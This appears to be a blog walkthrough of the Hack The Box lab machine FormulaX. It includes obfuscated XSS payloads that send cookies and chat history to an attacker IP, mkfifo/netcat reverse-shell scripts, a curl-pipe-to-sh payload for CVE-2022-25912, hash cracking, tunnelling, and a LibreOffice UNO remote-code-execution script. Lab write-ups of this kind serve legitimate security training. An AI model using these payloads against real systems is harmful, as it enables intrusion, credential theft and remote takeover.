Post

HTB - FormulaX

FormulaX - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - FormulaX

1
2
nmap 10.129.215.40 -A
 

image1

  • HttpOnly is set so we can’t steal cookies:

image2

** I had to reset the box a few times because of this **

Server-side XSS vulnerability in the contact page’s fields (all three):

image3

image4

** When using eval() it is instead of the <script> tags

To test (because we can't use alert() here):

  • Using the payload:
1
2
fetch("http://10.10.14.48:8085/" + document.cookie);

  • And then obfuscating it:

Which evaluates to (injected into first name):

1
2
\<img src="x" onerror='eval(atob("ZmV0Y2goImh0dHA6Ly8xMC4xMC4xNC40ODo4MDg1LyIgKyBkb2N1bWVudC5jb29raWUpOw=="));'/\>

  • We get a response back:

image5

image6

  • Trying a different payload (still base64 encoding it, etc):
1
2
fetch("http://10.10.14.48:8080/?d=" + encodeURIComponent(window.location.href));

image7

This gives us the domain http://chatbot.htb/admin/admin.html

XSS Websocket - Exploit

image8

  • We are working with websockets here. Looking in the page source and Burp requests we can see sockets.io and axios being used

Axios is a promise-based HTTP client for making asynchronous requests to RESTful APIs, while Socket.IO enables real-time, bidirectional communication between clients and servers using WebSockets with fallbacks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);

script.addEventListener('load', function () {
    // Fetch user chat history
    axios.get('/user/api/chat');

    // Connect to the socket with credentials
    const socket = io('/', { withCredentials: true });

    // Listen for incoming messages and exfiltrate them
    socket.on('message', (my_message) => {
        fetch("http://10.10.14.48:8080/?d=" + btoa(my_message));
    });

    // Request chat history
    socket.emit('client_message', 'history');
});

This gets base64 encoded and put in to the atob() function - then paste it into first name:

1
2
<img SRC=x onerror='eval(atob("Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmMgPSAnL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3RlbmVyKCdsb2FkJywgZnVuY3Rpb24oKSB7CmNvbnN0IHJlcyA9IGF4aW9zLmdldChgL3VzZXIvYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JlZGVudGlhbHM6IHRydWV9KTsgc29ja2V0Lm9uKCdtZXNzYWdlJywgKG15X21lc3NhZ2UpID0+IHtmZXRjaCgiaHR0cDovLzEwLjEwLjE0LjQ4Lz9kPSIgKyBidG9hKG15X21lc3NhZ2UpKX0pIDsgc29ja2V0LmVtaXQoJ2NsaWVudF9tZXNzYWdlJywgJ2hpc3RvcnknKTsKfSk7"));'/>

  • Now we get something different back:

image9

image10

If we Base64 decode these - we get:

image11

  • We get a subdomain to add to /etc/hosts: dev-git-auto-update.chatbot.htb

  • This can also be done with more native API’s like Fetch:

Replace Axios with the native Fetch API for making HTTP requests.

The Fetch API is built into modern browsers and provides a powerful interface for fetching resources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);

script.addEventListener('load', function() {

    // Replacing Axios GET request with Fetch
    fetch(`/user/api/chat`)
        .then(response => response.json())
        .then(data => console.log(data))
        .catch(error => console.error('Error:', error));

    const socket = io('/', { withCredentials: true });

    socket.on('message', (my_message) => {
        fetch("http://10.10.14.48:8080/?d=" + btoa(my_message));
    });

    socket.emit('client_message', 'history');
});

After adding dev-git-auto-update.chatbot.htb to /etc/hosts, we get:

image12

image13

CVE-2022-25912

https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221

  • Create a bash script:
1
2
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.48 9003 >/tmp/f
  • Set up python server:
1
2
sudo python -m http.server 80

  • Set up listener

  • Now we need to modify the code from Snyk:

1
2
ext::sh -c curl% http://10.10.14.48/bash_script.sh|sh >&2

  • Open Burp and intercept the POST request, change the destinationURL parameter:

image14

  • And we have a shell:

image15

image16

image17

image18

  • Accessing the mongo db:

image19

image20

  • The dbs with useful information was testing -> users
1
2
3
4
5
6
mongo
show dbs
use testing
db.users.find()
exit

image21

  • We can see two users (apart from root):

image22

  • Cracked frank_dorky’s password:
1
2
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

image23

  • Now we can SSH in: ```bash ssh frank_dorky@10.129.215.190
1
2
3
4
5
6
![image24](../resources/4437aa0eabbb4522a1e6d2f18bc75055.png)

```bash
cat user.txt

  • Copy LinPEAS over:
1
2
scp linpeas.sh frank_dorky@10.129.215.190:/home/frank_dorky/

image25

image26

  • Server running locally on port 3000

  • Upload chisel to the target:

1
2
3
4
5
#On Kali:
./chisel server -p 8888 --reverse

#On target:
./chisel client 10.10.14.48:8888 R:socks
  • Run FoxyProxy:

image27

  • Go to the site:

image28

  • We get a login page
  • The default credentials didn’t work

  • Add new user:
1
2
3
cd /opt/librenms
php adduser.php player1 player1 10

image29

php adduser.php <username> <password> <access level>

*10 is the highest level of access

  • Login with new user:

image30

image31

image32

image33

  • Now we can login as Kai Relay (admin)

image34

  • If we go to Settings -> Validate Config

image35

  • We get an error:

image36

  • Add librenms.com to /etc/hosts

Using DNS names through chisel on 127.0.0.1 - doesn’t seem to work

  • So we have to port forward 3000 to our machine:
1
2
ssh -L 3000:127.0.0.1:3000 frank_dorky@10.129.215.190

Now we can navigate to:

http://librenms.com:3000


  • If we go to Alerts -> Alert Templates: We can now edit them. Before it didn’t allow use to do it

  • Looking at one of the foo templates:

image37

  • We can edit the base64 with our own IP and port
  • Set up a listener
  • Update template

  • We get a shell as librenms (not kai)

image38

  • Run LinPEAS again

  • We get db creds: kai_relay : mychemicalformulaX

image39

  • We can either connect to the db:
1
2
mysql -u kai_relay -p'mychemicalformulaX' librenms

  • Or:
1
2
su kai_relay

image40

And kai_relay is in the sudo group

1
2
sudo -l

image41

Kai can run /usr/bin/office.sh as sudo

image42

  • The command is for launching LibreOffice Calc in a headless mode with a specific set of options, allowing for remote connections (e.g., for automation tasks)

  • Run the script:

image43

And connect to it:

image44

  • After googling that I found this code:

https://www.exploit-db.com/exploits/46544

https://github.com/sud0woodo/ApacheUNO-RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import uno
from com.sun.star.system import XSystemShellExecute
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)
args = parser.parse_args()

# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
    "com.sun.star.bridge.UnoUrlResolver", localContext
)

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(
    "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host, args.port)
)

# Issue the service manager to spawn the SystemShellExecute module and execute shell.sh
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("./shell.sh", '', 1)

  • Create a shell.sh with:
1
2
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.48 7777 >/tmp/f

1
chmod +x shell.sh
  • Now replace calc.exe with shell.sh
  • Set up a listener

  • Run the script:

image45

image46

This post is licensed under CC BY 4.0 by the author.